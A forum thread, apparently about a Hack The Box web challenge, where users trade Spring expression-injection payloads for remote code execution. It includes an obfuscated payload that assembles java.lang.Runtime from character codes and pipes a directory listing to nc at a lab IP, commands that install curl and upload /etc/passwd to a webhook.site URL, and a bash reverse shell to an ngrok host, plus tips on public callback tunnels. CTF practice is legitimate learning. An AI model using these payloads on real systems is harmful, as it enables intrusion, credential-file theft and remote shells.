[macavitysworld]

__${true.getClass.forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).exec(true.toString().charAt(0).toChars(115)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(64)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString()).concat(true.toString().charAt(0).toChars(53)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString())).getInputStream()).next()}__::.x


response 400. I don't know why?

It's just an example, you need to create a payload similar to that mentioned in the blog. Not copy pasting

[macavitysworld]

There is another approach (probably unintended way):

Since the app runs with root privileges, we can install tools using apt, e.g. curl:

__${[T(Runtime).getRuntime().exec('apt-get update')}

__${[T(Runtime).getRuntime().exec('apt-get install -y curl')}

Then, we can upload files to a webhook page with the -T  parameter (e.g. search results, the flag, ...).

(Runtime).getRuntime().exec('curl https://webhook.site/<my_id> -T /etc/passwd')

With a little bash and encoding magic you can enumerate the entire system. :-)

Interesting, I never thought of it, as usually htb machines doesnt allow internet access

[olkn00b]

lang= parameter? or registration form?I can only get

__*${7*7}__::.x

to work in registration username parameter , then login as 49.

tried many other payloads off that finding but no luck.

anyone?

[noter]

if you can curl, you can do https://beeceptor.com/

[x14gx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af

Any ideas why?

[machakilos]

thanks for that awesome hints and explanation i would love if they release more black box approach

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Reposting hidden content for free

[x1rx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af

Any ideas why?

did you use NGROK ?

[x14gx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?

[x1rx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?

Your vpn ip only works for htb lab boxes. 

Challenges are public and you must provide a public IP . 

NGROK is a good option , bore-cli one more ...


Good luck

[x14gx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

This is driving me insane! These payloads work perfectly well on the Docker container.
But when I try them on the remote machine, I get a valid response in burp but NO REVERSE SHELL...
Annoying af

Any ideas why?

did you use NGROK ?

hmm... Interesting. No I actually changed that to my vpn IP address as I usually do.
Does it have to be NGROK for some reason?

Your vpn ip only works for htb lab boxes. 

Challenges are public and you must provide a public IP . 

NGROK is a good option , bore-cli one more ...


Good luck

Amazing. All this time... hehe.
Thank you that solved the problem.
I honestly didn’t know that. I mostly do pwn challenges, and in those cases, the reverse shell always goes to my VPN IP/port — at least so far.

Anyway, thank you for all the help! Much appreciated.